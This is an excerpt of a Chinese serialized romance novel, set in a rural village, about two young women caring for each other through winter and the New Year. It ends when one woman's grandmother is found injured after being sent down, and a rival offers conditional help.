温淼好不容易养好了病,也不想再折腾出病来,便没有拒绝。 今天就是拿了衣服准备去季白青家准备洗澡。 季白青中午还提前烧了一锅热水,给温淼抬到了澡间去后才开始准备晚饭。 将排骨放在锅里夹了板栗炖上后,季白青将前段时间摘回来的山核桃剥开,挑出核桃仁放在碗里,等堆满一小碗后才去处理昨天打到的野鸡。 她打算将野鸡熏成腊肉,方便以后存放。 温淼洗完澡后,脸颊被蒸汽熏得红扑扑的,长发湿润,用毛巾包着,发尾还在滴答往下滴水。 季家的澡间四面都是青石砖铺设而成,也不会漏风,她洗得很暖和。 季白青抬头见她出来了,十分自然地接过了她手里的毛巾,帮她将头发上的水滴擦拭去。 温淼坐在火堆前,身上沾上的冷气瞬间被赶跑了几分,看到灶上放着的核桃仁,她吃了几颗。 季白青不重口腹之欲,也就温淼要求她必须吃掉的东西她才会像是做任务那般按时完成。 所以一碗核桃仁不需要多问,就知道肯定是给温淼剥的。 她心情颇好地扬起唇,捡起两三颗核桃仁,扭头塞进季白青的嘴里。 “一起吃。” 季白青被塞了吃的,有些反应迟钝,连带着舌尖意外扫过她的指腹,留下濡湿水迹。 温淼收回手,想到刚才湿润的触感,不自觉捻了捻那处指腹,心里突然觉得有些奇怪。 季白青倒是没有察觉到她的异样,将核桃仁咽下后开口道:“给你剥的,你多吃点才对。” 温淼甩掉刚才奇怪的感觉,哼哼一声。 “我才不吃独食。” 听着这句话,季白青帮她擦拭发尾的动作逐渐放缓,唇角也染上了些笑意,心里泛上点甜,想到了两人初见的那段时间。 她给温淼的西瓜,温淼也要和她分享。 她怎么这么好。 头发很快被擦得半干,季白青将毛巾晾在屋檐下,还觉得有些可惜。 如果能擦久一点就好了。 温淼甩了甩头发,将发丝往后捋,“阿青,你去洗澡,我来看着火。” 季白青点头,打了水去澡间。 几个月过去,季白青的头发长了很多,见温淼似乎更喜欢长发,她怀着自己的小心思,也没有再剪过,偶尔会被温淼夸一句好漂亮。 见她也湿着头发出来,温淼想着刚才她帮自己擦过头发了,便也准备帮她擦。 虽然她还没有这样照顾过别人,不过看起来好像也不难。 只是缠着毛巾的手刚摸上季白青的发尾,温淼就被冰得一激灵。 将手放在她的后颈、锁骨上,也还是泛着冷气的,丝毫没有洗过热水澡后的哪怕只有一丝的暖意。 她拧起眉,声音不自觉提高了些。 “你用冷水洗的澡?!” 季白青一怔,听出她语气中的怒意,下意识摇头。 但很快想起来上次撒谎的后果,她又咬着唇,慢吞吞点了点头。 温淼用力帮她将发丝上的水绞干,声音虽然生气,但动作还是轻柔的,生怕扯到她的发丝让她疼。 “季白青,你是傻子吗?都十一月份了,你还用冷水洗澡!” 季白青的眼皮耷拉下,垂着头,像是一直犯错的小狗。 “对不起。”她轻声道歉。 温淼闻言,有些心梗。 “你和我说什么对不起?!你该跟你自己说对不起才对,这么冷的天,怎么不知道爱惜自己?” 说到最后,温淼的声音压低了几分。 她对季白青不会爱惜自己这件事已经了解了八|九分。 一是不爱说话,喜欢将所有事情都憋在心里。 二是无论是吃饭还是生活,都喜欢凑合,直到有了温淼的存在后才改了很多。 现在她在此基础上对此又有了更深层次的认识。 这个笨蛋原来还很不爱惜自己的身体,明明知道她生病的时候还那么着急。 看着垂头不敢说话的人,温淼冷笑一声。 “洗冷水澡的时候不是还很能吗?怎么现在不说话了。” 明明是再简单不过的一句话,这样被温淼说出来,季白青听着莫名觉得委屈得想哭。 以前她从来没有这么娇气的,再难听的话她也不会在意,现在突然被温淼惯得很脆弱。 只是从来没人跟她说过这样的话,无论什么时候,季白青在村里的处境都艰难,被人讨厌、被人排挤,没有人愿意告诉她她应该怎么爱惜自己。 她只能靠着自己摸索一番,像根野草似的靠着顽强的生命力活下来。 温淼自然没有错过她眼里的水汽,将滴水的发丝擦干后没好气戳着她的肩膀。 “现在知道委屈了?我都替你的身体感到委屈,有这么个不爱惜爱自己的主人。” “蓁蓁……”季白青抬头看向温淼,揪着她的衣角晃了晃,发出柔软的类似撒娇似的轻喃,“别说了好不好。” 对上乌黑的瞳仁,温淼败下阵来,挨着季白青紧紧坐下。 被火烘烤了一番,季白青身上的冷气散了不少。 温淼握着她的手心,还是冰凉的,只能低下头给她用掌心搓热。 她还分神地想,如果没记错的话,最近几天季白青生理期可能会来。 只希望最好别是今天,刚冲完冷水澡,指定得疼一顿。 “以后对自己好一点,用热水洗澡,知道吗?” 温淼冷不丁开口。 感受着自己逐渐变热的手心,季白青的心里也像是塞了一团火,轻轻应下。 “冷了添衣、饿了吃饭、生病吃药……知不知道?”温淼觉得自己像个为孩子操碎了心的家长。 季白青看着她,橘色的火光跳跃,映在女人的脸上,认真的神色一眼便能得知。 怎么会有人愿意对她那么好? 板栗炖排骨出锅,温淼没让季白青动手,特意多炒了一盘白菜。 盛了一碗排骨汤端到季白青面前,温淼盯着对方,叮嘱:“多喝点汤,去去寒气。” 看季白青咕噜几口乖乖喝下,温淼的脸色温和下来。 吃完饭后,原本温淼打算回知青点的。 只是再一看季白青饭后又苍白了几分的唇色,她心一跳。 “生理期来了?”她问,同时耸了耸鼻尖,嗅到了轻微的血腥味。 季白青的手指抵着小腹,眉眼有些恹恹,轻点头,没敢说话。 怕又挨说。 温淼手指灵活,没经过季白青的同意就钻进了她的衣服里,手掌触摸到她的小腹后,眉心拧起。 好凉,难怪看起来分外没精神。 她将她上下扫视一眼,立马做了决定。 “去床上躺着。” 季白青杏眼圆睁,疑惑看着她:“我先送你回去再休息。” 她一惯有痛经的毛病,甚至比温淼的还严重些,这些对方都是知道的。 温淼揉了揉眉心,“我自己回去拿点东西,今晚住你这不回去了。” 天大的惊喜砸下来,季白青还没来得及反应,就被人半推着回了房间。 温淼扫了眼那张床,面积不大,但两人都瘦,躺在一起应该也不算为难。 看着她躺下,还不忘睁开眼睛看着自己,温淼心软。 “等我会儿,别担心。” 说完,她以最快的速度回了知青点,翻出温如嫣给她专门寄来的红糖带上,和潘红霞说了一声今晚不回来了后立马往季白青家跑。 灶上还煨着热水,她泡了杯红糖水,感受到可以入嘴的温度后才端进屋里。 煤油灯放在桌边,被吹进屋里的细风卷得乱晃。 一进屋,温淼却注意到季白青的眸中多了几分神采。 她弯起唇,将杯子递给她:“喝了会舒服一点。” 知道她不太喜甜,温淼特意兑的淡了些。 季白青抿了一小口,那股甜意在心间荡开。 她的声音不受控制地软了些,“这里有的呀,怎么还要回去知青点。” 温淼知道她会痛经后,给她买了不少红糖,硬塞给她。 温淼撑着脸颊看她乖乖喝红糖水,心情好上几分。 “这是姜茶红糖,驱寒的。” 见她喝完了,脸上多了些血色,温淼很满意,将杯子洗了回到房间。 季白青看她将外套脱了搭在椅子上,一时间有些紧张,又往床外靠了靠。 煤油灯被熄灭,温淼上了床,躺在内侧。 感受着自己和她中间隔着的距离,温淼有些好笑。 “你要睡到地上去吗?” 听出她话里的笑意,季白青默不作声又往床里挪了挪。 温淼的手摸到她的腰间,往自己怀里一揽,没费多大力,两人瞬间贴在一处。 季白青还没来得及害羞,就感觉到自己的衣服被挑开,温热的手落在了她带着几分凉意的小腹上。 只是惊诧一瞬,那柔软的手开始在她的小腹打着圈地揉,温淼有些疑惑的声音传来: “这样会好受一点吗?” 心跳声一下一下地敲击着胸膛,季白青的脚趾微微蜷缩,呼吸声也难以控制地加快了几分。 “……嗯。”她溢出一个音节。 原来,留下是为了给她冲红糖水还有揉肚子。 她怎么能这么好? 感受着怀里的人不再像开始那么僵硬,温淼手上的动作没有停下来,打了个哈欠,忽觉有些困倦。 她撑着最后一点劲儿哄人: “阿青,无论怎么样,都要爱自己,知道吗?爱惜自己的身体,以后才会有更好的未来。而且,你生病了,我也会心疼,就像你心疼我那样。” 她的声音不大,很温柔,却一字一句地印在了季白青的心间。 季白青忽然很想在她怀里蹭一蹭,权当撒娇。 但被她揉着肚子也很好了。 蓁蓁要她爱自己,那她以后一定会爱自己。 她蜷缩在温淼的怀里,也不知道什么时候,两人陆续睡熟。 这也是季白青睡得最暖和的觉,不仅如此,还做了个甜美的梦。 温淼的话,季白青每天都在很认真的遵守,逐渐将自己养得更好。 原本阴郁又沉默的人也不知道从什么时候开始,唇角总带着点笑,周身气质温和下来,在温淼面前话也多了起来,变得娇气了一些,总喜欢向她撒娇。 季白青像是一颗蒙尘的珍珠突然被拭去了尘埃,显露出属于自己的光华,无论是谁来看,都会觉得前后的差异过大。 温淼看着她一步一步的变化,觉得还挺骄傲的,毕竟这是她最好的朋友,她将自己的朋友养成这样,功劳很大,像是目睹自己的小孩慢慢长大一般。 以至于要请一个月的春节探亲假时,看着面前沉默着又眼巴巴看着她表达自己依恋的青年,她也有些不舍。 但最后还是在她肩膀上拍了拍,温淼温声道:“好啦,一个月之后就能见面了,没准我还能早点回来。” 季白青默不作声地抱住她,紧紧搂住她的腰,声音带了几分委屈。 “我会想你,想要早点见到你。” 所以,能不能早点回来? 【作者有话说】 喵,村里还有小狗等着你回来,快点回来听到没! 感谢营养液投雷,感谢评论订阅收藏~ 还有几章收尾,青涩时期还挺好磕的[星星眼] 92 第92章 ◎压岁钱◎ 温淼离开云水村后,季白青的生活也没有发生多大变化。 寒冬里,作物都在沉睡。 没有了繁琐的劳作,乡下人更多的时间便是窝在家里,烤火、闲聊,数着日子一天一天过去。 劳累一整年,村民都希望休息的日子能够再长一些,可季白青却希望时间能够过得快一些、再快一些。 如果能够快些过完这个年的话,那她就可以早一点见到温淼了。 她所怀的私心实在是太过明显了。 可是细细一想,季白青却又觉得这样的想法太过自私了,温淼和家里人这么就没有见面,好不容易有团聚的机会,肯定要好好团圆、叙旧。 应该让温淼好好陪她奶奶和姑姑一段时间才对,在京市那边的条件肯定也会比溪宁镇更好。 想到此处,季白青又默默改变了想法,在心里祈祷,时间还是过慢一点好了。 反正……她也等得起,只要最后的结果是能再见到温淼就好了。 除夕夜那天,季白青原本也没想吃得多丰盛,年节对她来说和普通的日子没什么区别。 但是忽然想到温淼对她说的话,她得爱惜自己,念及此处,她最后还是炒了一盘荤菜,第一次比较郑重地过一次节。 饭菜刚做好,端上桌没多久,就听见村里陆续响起噼里啪啦的鞭炮声,沸腾般的热闹盖过了呼啸的寒风声,即使与最近的住户也隔着好一段路程的距离,但她还是能够听到屋外的人声鼎沸。 屋内昏昏暗暗,季白青没有点灯,垂眸伸手夹着碗里的菜,安安静静地吃饭。 直到强烈的饱腹感袭来,她才停下筷子,洗完碗后简单洗漱一番,钻进了被子里。 除夕夜的月光皎洁明亮,透过窗户洒进屋子里。 朦朦胧胧,像是一层薄薄的轻纱。 季白青看着月光照出来的那一点亮处,心想,现在的温淼该会是在做什么呢?应该也是被热闹簇拥。 只是她的心里会不会突然间想起远在潇南的她? 不过被幸福包裹的人,大概不会在这种团圆的节日里突然记起她这个外人。 可此时此刻,季白青却格外想她。 渴望和她一起过年。 一起放鞭炮、做年夜饭,最后吃得滚瓜肚圆,懒洋洋躺在床上相拥。 但这些都只能是幻想,顶多在梦里实现- 正月十四,季白青刚从地上摘了些菜回去,刚走到门外,就听见屋里发出的细微动静。 不过是出去一会儿的功夫,家里就进贼了? 她神色微冷,蹙起眉头。 悄无声息将门打开,她抿唇,放轻脚步,刚走到堂屋,便捕捉到一丝蔷薇馨香。 原本高度紧绷的精神瞬间放松下来,手上拿着的镰刀也放了下来,她眉宇间有些怔忪,站在原地莫名不敢再多走一步。 温淼回来了? 可她不是请了一个月的假吗?怎么可能回来这么早。 即使心里觉得温淼这个时间不可能回来,但是季白青的心里还是难以抑制地多生出了窃喜。 但万一她是真的回来了呢,而且属于温淼的味道,她也从来不会认错。 她这样想着,但还没敢再往里迈出一步。 正在低头猜测屋里的人到底是谁时,她耳边突然响起了女人清甜柔软的声音。 女人往她这处走了几步,询问:“怎么在这儿站这么久?” 季白青看着面前神色有些许疑惑的女人,内心突然生出惊喜。 原来不是错判,温淼真的回来了! 她站在原地,一时间都不知道该要摆出什么动作。 过了好一会儿,才低声询问:“你、你怎么突然回来了?” “好快。”她口不对心地惊叹一声。 实际上在季白青心中,这十几天过得无比漫长,她几乎是数着分秒过日子,艰难地熬到了现在。 温淼看着面前的人,轻笑一声。 “我奶奶让我早点回来,不要耽误之后上工。” 温向荣说的话一向都有她的道理,温淼听话,没有在家多呆,过了十几天就买票回来了。 更何况,其实她也挺想季白青的。 自己不在的日子里,季白青一个人过年,光是想想就觉得有些可怜兮兮的。 早点回来陪季白青过一个年,也很好。 季白青现在还在处于被突如其来的惊喜砸得晕乎乎的状态,直勾勾盯着温淼看了好一会儿。 最后才后知后觉问道:“你怎么回来的?” 温淼将围巾脱了挂在椅背上,露出修长雪白的颈项。 她随口解释:“雇了辆牛车。” 将视线从温淼的身上转移到地上后,才发现多些心里。 她内心的欣悦多了几分,小心翼翼问:“你没有回知青点吗?” 温淼看她一眼:“知青点现在没有人,在你这里住几天可以吗?我俩挤挤。” “可以。”她面上的欣喜不显,却在心里开口,如果她想的话,一直住下去也没关系,她不会介意。 “我帮你把行李放进去。” 说完,她将几个行李都提到房间里摆放好。 出来的时候,恰好碰上温淼掀开菜罩,看她中午剩下的菜。 见又是绿油油的青菜,她挑了挑眉看向季白青:“过年就吃这些?” 季白青连忙开口解释,怕她误会:“不是,今天蒸了腊肉,不过是吃完了而已。” 温淼见她上下打量一眼,见确实没有什么撒谎的迹象,这才满意地点头。 “这才对嘛,很听话。” 季白青被夸得脸颊泛红,眸光闪烁几乎不敢看对方。 既然温淼回来了,那今天的晚饭肯定不能继续凑合。 虽然现在已经不是除夕夜,但也还在正月里。 她第一次有人陪着过春节,期待的同时心中的雀跃几乎数不尽,化作潮红展现在冷白面颊上。 季白青道:“我再去山上看看能不能抓到兔子或者竹鼠。” 温淼见她脸颊还有些发红,以为是被外面的冷风吹的,便及时出言制止。 “别麻烦了,我带了点吃的回来。” 屋外的风确实大,再瘦一点的人都快能直接被吹走了,还是别让这家伙出去折腾了。 她将包袱里的海带干、干虾米拿出来,还有一个被油纸包裹着的烤鸭。 过了一天,虽然外面的脆皮已经软了下来,但里面的肉没有坏,热一下就能吃了。 季白青接过,想了想,做了个海带虾米蛋花汤,将烤鸭热了热,又将熏鸡炒了,最后多炒了个白菜。 两人一起将饭菜端上桌,季白青看着桌上寥寥几盘菜还是有些不好意思。 “蓁蓁,今天的菜有点少,你别嫌弃,明天我去山上多找点吃的。” 这么简单的饭菜,肯定比不上温淼在家里吃的,季白青总觉得让她跟着自己吃这些有些委屈了,却丝毫没想过,这对她来说已经够丰盛了。 听了这话,温淼笑出声。 “行了,已经这么多菜了,你小脑袋瓜天天想什么呢。” 饭桌上,季白青时不时抬头,见她吃得很满足,没有丝毫不满意的模样,这才慢慢放下了心。 吃了饭,将碗洗了,季白青正想着要怎么和温淼打发时间,就被温淼叫住。 “阿青,我们出去。” 她有些茫然,虽然不知道温淼让她出去干什么,但还是乖乖跟在她的身后。 不过在出门之前,温淼给自己系上了围巾,又将一条白色的羊毛围巾绕在季白青的脖子上。 摸着柔软的布料,季白青还没来得及拒绝,便听见温淼的话。 “这是给阿青的新年礼物。” 拒绝的话到了嘴边,瞬间又被咽了下去。 这是温淼送她的新年礼物,她顿觉欢喜,瞬间不舍得拒绝了。 手指搅着围巾掉下来的穗,季白青安静下来。 到了屋外,温淼将火柴和买的烟花拿了出来。 现在天色逐渐黒沉,夜色朦胧,烟花棒被点燃,划破黑暗的一角,斑斓的烟花绽开,美丽绚烂。 放完了一根烟花棒后,温淼抬头看向季白青,见她眼神还惊奇地落在半空中,唇边笑意深了些。 就知道她会喜欢这样的东西。 将剩下的烟花棒一股脑塞进了季白青的手中,她笑眯眯道:“你来试试。” 季白青捏着烟花棒,有些紧张,求救般看向温淼。 她只见别人玩过这东西,自己还从来没有机会接触。 温淼被她湿润的眼神看得心软,最终只能一一给她演示。 看着璀璨的烟花在自己的手上绽开,季白青的眼神亮了几分,扭头看向温淼,眼中意味明确。 想要得到夸奖。 温淼从口袋里掏出珍珠发卡,帮她将被风吹得凌乱的头发别到耳后,视线落在黑发上莹润的珍珠上,而后弯唇夸奖: “很厉害。” 季白青的脸颊又红了些,低头继续摆弄手上的烟花棒。 又放了几根后,季白青将剩下的烟花棒小心放好。 见她动作轻柔,温淼觉得有些好笑。 “哪有这么宝贝,放完的话,再买不就好了。” 季白青转头看向温淼,出言反驳:“才不是,意义不一样的,我想要好好珍藏。” 温淼看着她明亮的眼和唇角清浅的笑意,没多说什么,任她去了。 玩闹过后,季白青问房间里的温淼:“要洗澡吗?” 刚好烧了一锅热水。 温淼点头,将自己要换洗的衣物收拾出来。 等到要去澡间,她在门口站定,这才对房间里的季白青眨了眨眼,温声道:“可以看看枕头底下。” 看着人的背影走远,季白青的盯着在自己的枕头,心跳微微加快。 枕头下面放了什么吗? 她猜了好一会儿都猜不到。 最后眼都不眨地将枕头拿起来,她才发现枕头下面是一个被装得鼓鼓囊囊的红包,红包上还印着一个憨态可掬、活灵活现的小猴子。 季白青属猴的。 将红包*拆开,里面放了六张大团结和六块钱,一共六十六。 她捏着红包,第一时间却不是觉得欣喜,而是心生无措。 为什么要突然给她钱呢?她是不小心做错了什么吗? 惴惴不安地坐了一会儿,季白青的身体僵直,最后站起来毫无头绪地在屋子里转了一圈。 等温淼洗完澡回来后,见到的就是对方在屋子跟只无头苍蝇似的乱转的场景。 她挑了挑眉,淡声问:“你这是在干什么呢?散步消食?” 季白青幽幽地看向她,眼神有几分埋怨。 她将红包放在手上,里面的钱也塞了回去,还给温淼。 “给我钱干什么?” 她闷闷开口:“我不要。” 温淼将红包推回去,“笨蛋,又在乱想什么。” “这是给你的压岁钱。” “我是姐姐,过年应该给你压岁钱才对。” 说着这话,温淼的眸中带上一些柔软的笑意。 她喟叹一声,“还好回来早了,现在给压岁钱还不算晚。” 季白青闻言彻底愣住。 她原本因为温淼给她这么多钱是想要和她划清界限,却从来没有想过,原来这是给她的压岁钱。 见她呆在原地,温淼戳戳她的肩膀:“回神了,快收下,笨蛋。再和我这么客气,我要生气了。” 听了这话,季白青原本还没有反应过来,却还是下意识将钱收到怀里。 她的杏眼看着温淼,小声询问:“我收下了,可以不要生我的气吗?” 温淼瞪她一眼,这个笨蛋。 笨死了。 “不会生你的气。” 话音刚落,温淼瞬间被人抱住。 季白青放在她腰上的手圈紧,语气有些语无伦次。 “谢谢,我、这还是第一次收到压岁钱。我没反应过来。” 温淼也就愣了一瞬,下一秒回抱住清瘦的青年,弯唇道:“以后有机会的话,每年都会给你压岁钱,这样我们阿青就能经历第二次、第三次、很多次了。” 季白青将她抱紧,嗅着她身上的馥郁馨香,轻声应下。 温淼的话是不是意味着,她们之间还会有很多很多以后? 又被人抱了会儿,温淼抵着她的肩膀,想要将人推开。 可青年抱得格外紧,她被圈在对方的怀里几乎动弹不得。 温淼无奈开口:“行了,别抱了,晚上还睡不睡了?” 季白青低声应下来,最后还是恋恋不舍地在她肩膀上蹭了蹭,想要自己的身上能够沾上对方的气味。 在这之后才将人彻底放开。 两人躺在床上,盖着同一床被子。 被窝被两个人的体温烘得温暖,无论谁处于其中都能昏昏欲睡。 现在时间也不早了,换在平时里,这个点季白青早就睡着了。 可今天接受太多惊喜,她现在躺在床上,感受到房间里另外一人的呼吸丝毫睡不着。 她想到枕头下压着的温淼给她的压岁钱,内心仍觉滚烫。 唯一在脑中盘旋的想法便是,温淼怎么能够那么好? 今晚屋外的月光似乎比除夕夜那天的更为明亮,满室生辉,季白青一低头就能看见温淼雪白的脸颊、纤长的睫毛和红润的唇。 眼神落在她的唇瓣,痴痴看上好一会儿,季白青最终勉强挪开视线。 身旁的人似乎已经睡着了,呼吸绵柔,睡颜恬静。 季白青最终还是没忍住自己的私心,被子下的手攥成拳头,手心湿濡,闭着眼睛,向她微微靠近。 鼻尖的蔷薇甜香越发浓郁了,季白青几乎不敢发出什么动静,最后在温淼的额心落下一个蜻蜓点水似的吻。 在那之后,她的脸瞬间通红,瞬间缩了回去,紧闭双眼不敢再睁开。 唇下的皮肤细腻,好像也带着香,季白青不受控制地舔了舔唇。 是甜的。 偷亲了人后,她掩耳盗铃般没再睁眼,自然也错过了温淼轻颤的眼睫和悄然漫上粉晕的脸颊。 第二日起来,季白青和温淼一起去后山。 往山上走的途中,她们并肩,手背在行走中偶尔接触。 手背再度撞到一起,季白青悄悄伸出一根手指勾住了她的。 心如擂鼓,季白青试探询问:“可以牵手吗?” 温淼板着一张脸,通红的耳垂被黑长发遮住,没被人察觉。 她语气冷淡,和说出来的话却毫不相符。 “可以。” 【作者有话说】 祈艾老师说青青好怂,我笑死了 感谢投雷营养液,感谢订阅收藏评论 收尾ing[撒花] 93 第93章 ◎我很有用的◎ 年味逐渐散去,气温回暖,云水村逐渐恢复上工,开始播种。 原以为日子会这样一直平淡又温馨地过下去,一封意外来信却打破了这份平静。 季白青知道,温淼很受家人宠爱,平日经常会收到从京市寄来的各类包裹和信件。 但这次她们一起去镇上邮局,却发现她家人罕见地独独只寄了一封信来。 回到家,趁温淼将信打开的功夫,季白青见她额角带汗,便去给她倒了杯水。 只是端着水杯刚回到堂屋,她却发现,不过是离开一会儿的功夫,温淼的脸色瞬间变得无比苍白,身体僵直。 穿堂风吹过,被拆开的信纸轻飘飘地落在了地上。 季白青见状,心猛地一跳,有些不好的预感。 这是怎么了? 她将水杯放在桌上,把落在地上的信纸捡了起来,上下快速扫视一遍,看完后也觉得难以置信。 在温淼的教导之下,她现在已经认识很多字了,很快就将重要的信息提取出来。 ——温淼的奶奶被下放到了远宁县。 远宁镇,季白青知道。 这是溪亭县中离溪宁镇最远的一个镇,坐长途汽车过去几乎都要花八个多小时。 季白青从温淼口中听说过很多她家人的故事,她知道温淼有个英勇的当首长的奶奶。 她的奶奶立下了赫赫战功,怎么会被下放呢? 温向荣到底怎么会被下放?温淼也想知道答案。 现在不过是三月份,她离开京市也就才过去一个多月,所以事情是在过年那时候就已经初见端倪了吗? 所以温向荣频频催促她回潇南,让她早些离开京市。 温淼掐着手心,她当时怎么就没有发现不对劲的地方呢。 她轻喃:“怎么会这样……” 信寄过来需要花五六天的时间,既然早就确定下来,那现在温向荣也应该到了被下放的地方了。 季白青在原地愣了一会儿,听闻她的话后果断开口:“我去跟李向东请个假,我们待会就坐车去远宁看奶奶的情况。” 闻言,温淼从茫然中猛地回神。 对,现在最重要的是要准备好东西,再去亲眼看看奶奶现在到底怎么样。 温淼勉强镇定下来,回了知青点将可能用得上的东西都带上。 季白青则是去找李向东请假。 她们徒步走到镇上,恰好赶上了最后一班去远宁的长途汽车。 买了车票,两人挨着坐下。 温淼看着窗外不断后退的景色,内心的不安仍旧没有散去,心慌意乱。 她不知道温向荣现在到底是什么情况,各种可能的猜想在脑中划过,让她心神不宁。 看着她分外苍白的脸色,季白青也觉得内心发闷。 她再一次痛恨自己的身份,没法在温淼需要的时候给对方帮上一点忙。 不过在现下,两人中一定要有一个人保持冷静。 想清楚这一点后,季白青强制让情绪恢复冷静,轻轻覆上了温淼还在发抖的手背,放低声音安慰:“蓁蓁,别怕,我会一直陪着你。” 温淼什么也没听进去,怔怔见季白青看着自己,最后也只是胡乱地点了点头,竭力按住自己在发颤的手。 季白青叹出一口气,也知道自己再说什么话她都听不进去了,便沉默将温淼的手握紧,希望能给予她力量,再不济,暖暖她冰凉的手也行。 坐了几个小时的车,终于到了目的地。 两人连饭都没来及吃,雇了一辆牛车载她们去温向荣被下放的村里。 到地方的时候天色已经暗了下来,季白青牵着温淼,随意找了个人询问,最后终于找到了牛棚的位置。 走到牛棚前,感受着牛棚周围潮湿又蚊蝇萦绕的环境时,温淼的脸色煞白。 季白青托住她的手臂,轻声安慰:“没事,冷静点,我们进去看看。” 说完,她推开摇晃的木门,往里看去。 就着最后一丝灰色霞光,季白青看清楚屋内的景象之后,呼吸几乎要凝滞住。 屋内昏暗无比,地上散落着恶臭的牛粪,一头老黄牛趴在一边,用蹄子不耐烦地蹭着耳朵,大耳朵一甩,将蚊蝇甩开。 在屋内的另一边,铺着的稻草显出潮湿暗色,躺在上面的人气息微弱,或许是闻到了腐肉的气息,她周身的蚊蝇更多,绕着身体嗡嗡作响。 温淼瞬间冲了进去,看清了温向荣满脸的脓水,一时间都不知道该从哪下手处理。 她抖着手,和季白青一起将温向荣扶起来。 让温向荣靠在季白青的身上后,温淼拿出手帕蘸水打湿,小心翼翼地为温向荣清理脸上的污渍。 她几乎有些不敢认,面前头发花白,满面沧桑、面上发炎伤口纵横的老人竟是一向意气风发的温向荣。 “奶奶,奶奶。”她一边轻柔地为温向荣清理,一边忍着泪轻声叫她的名字。 季白青将早就准备好的伤药拿出来,让温淼替她上药。 药物滴在伤口上,原本就疼痛的伤口受到刺激越发疼痛,温向荣的呼吸突然加速,最后勉强撑开了沉重的眼皮。 眼前的人影重叠,费了好一会儿劲她才看清面前的人是谁。 认出温淼后,她的手往上一抬,最后无力垂下。 “你来这干什么!快给我回去!”原本中气十足的声音变得无比虚弱,没有丝毫气势。 温淼内心更为心酸,小声道:“奶奶,你别说话了。” 季白青看着温向荣发红的皮肤,伸手一摸,手下的温度烫得灼人,眼皮瞬间又是一跳。 “蓁蓁,奶奶发烧了。” 说完刚才那番话,已经费劲了温向荣的最后一丝力气,她靠在季白青身上,气息逐渐又变得微弱。 温淼慌乱站起来,将手上的东西给了季白青。 “阿青你先在这看着,我去卫生所买点退烧药。” 季白青接过伤药,一点一点继续为温向荣擦着脸上身上的伤口。 只是视线落在她裤子也遮不住的明显外曲的腿上时,心彻底沉了下来。 现在温向荣的情况实在是太糟了。 脸和腿、一身的伤口到底是怎么弄的? “奶奶。”她轻唤温向荣一声,却没有得到回应。 不知在什么时候,温向荣再度阖上了眼睛,陷入昏睡,只是身上的温度越发滚烫。 好在温淼很快就买来了退烧药,两人合力让烧晕过去的温向荣将药咽下后才松了一口气。 温淼去找了几捆干净的稻草,在季白青将温向荣抱起来的时候铺在地上,随后才将人放回干燥的稻草上,又给她脸上、身上的伤处都擦了药。 最后眼神落在扭曲的小腿上时,温淼的眼泪终于憋不住,滴滴答答地往下掉。 “怎么会这么严重?”她的声音沙哑。 明明只是一个多月不见,温向荣怎么会变得这么狼狈,她到底做错了什么才会被这么折磨?! 将刚才找村民换来的蚊香点上,在眼前盘旋的蚊蝇总算被熏了出去。 牛棚里的被褥就薄薄一层,抵挡不了夜里的寒意。季白青和温淼将外套脱下来盖在温向荣的身上,看温向荣睡熟了,两人出了牛棚,沉默地站在苍茫夜色中。 十几个小时过去,滴米未进,胃里空荡荡的,两人却都没能感知到饿意。 静了一会儿,温淼将眼角的泪滴拭去,有些茫然地问季白青:“奶奶真的是做错了事吗?” 季白青沉默一瞬,摇了摇头。 “我也不知道。” 温向荣到底有没有做错事情,答案好像已经没有那么重要了。 事情已经成了定局,难以改变。 季白青只觉得分外无力。 风呼呼地往衣着单薄的两人身上吹,她们却都没动,仿佛被定在了原地。 不知道过了多久,连发丝上都坠上了晨露,远边的天朦朦亮,温淼身体一晃,要往地上倒。 季白青眼疾手快接住她,怀里的人扶着她的手臂很快站稳了。 “温淼,振作一点,我们只请了一天的假,今天把奶奶的事安排好,我们就该回去了。”她哑声道。 超过请假的期限不回公社,下来的处罚严重,到时候更加难办。 温淼点头,又回屋子探了探温向荣额头的温度。 “我先去去找人借点粮食。”温向荣恐怕也没吃什么东西,可她还生着病。 季白青点头,守着温向荣。 温淼没去多久,很快就端着一碗白粥回来了,两人喂着温向荣喝下粥,又给她喂了退烧药,这才准备要走。 带来的药、吃食和她们的外套都被掩在稻草之下,温淼依依不舍地往里面看了几眼后才下定决心要离开。 离开前,她找到早上愿意给她一碗粥的大婶,将除了车票外带来的钱全都给了她,语气恳求道:“你们帮我照顾照顾牛棚里的那个行吗?” 闻言,那家的婶子脸色巨变,立马就想要拒绝。 但见温淼一张小脸哭得梨花带雨,看着她的眼神里充满祈求,她最终还是有些心软。 “行了,答应你就是了。不过我也只能偷偷的。” 原本婶子不打算收那钱的,但温淼硬往她的手里塞,最后她还是收下了。 坐上归途的汽车,温淼抵着车窗,心里惦记的事暂时得到解决,总算是昏昏沉沉睡着了。 到了溪宁镇,温淼还没醒,季白青默不作声将她背起来,从镇上走回云水村。 她背得很稳,倒也没吵醒温淼。 昨天吹了一晚上的冷风,到村里的时候,才发现温淼不知道什么时候已经烧起来了,难怪一路上都没醒。 季白青没把她往知青点送,去卫生所检查一番后拿着药,带她回了自己家。 看着躺在床上的苍白面孔,季白青心里是说不出的滋味。 温淼烧了三天,意识昏昏沉沉,清醒的日子并不多。 李向东对她本来就有意见,这下又几天没上工,几次上门催她别躲懒,快点去上工。第四天温度退了些,虽然没什么力气,但温淼也恢复了上工。 中午,拖着疲惫的身体回到知青点,温淼没看屋子里的陆延,准备回女知青房间。 还是陆延出声将她叫住:“温淼。” “你奶奶现在还好吗?” 听了这句话,温淼的脚步顿住,转身看向他。 俊美的男人唇角噙着一抹笑,看起来斯斯文文,温淼却知道他不是什么好人。 “你知道什么?”温淼警惕地看着她。 陆延耸肩一笑:“别这么紧张,我只是关心一下而已,毕竟我爷爷和你奶奶曾经是同事。” 温淼垂眸,冷声道:“不需要你管。” 见她扭头要走,陆延慢悠悠开口:“哦?你确定不要我管?我爷爷可是首长,倒是可以帮到你奶奶,不过要是你不愿意领情的话,就算了。” 温淼的身体瞬间顿住,将他上下打量一番,“你真的有办法?” 陆延点头,神色认真:“毕竟我爷爷和你奶奶曾经是好友。他不会放任不管的。” 听了这话,温淼的心一动。 她确实听温向荣谈过陆延的爷爷,语气中也有几分欣赏。 但温淼看向对方的眼神还是带了些许警惕:“你有什么条件?” 她和知青点的其她知青一向不和,尤其讨厌将她的玉坠摔碎的沈念念。 而陆延和沈念念之间的暧昧只要是明眼人都能看出来,平日里陆延也是帮着沈念念,既然如此,他为什么现在会选择帮自己? 天下没有白吃的午餐,温淼不信她回这么好心。 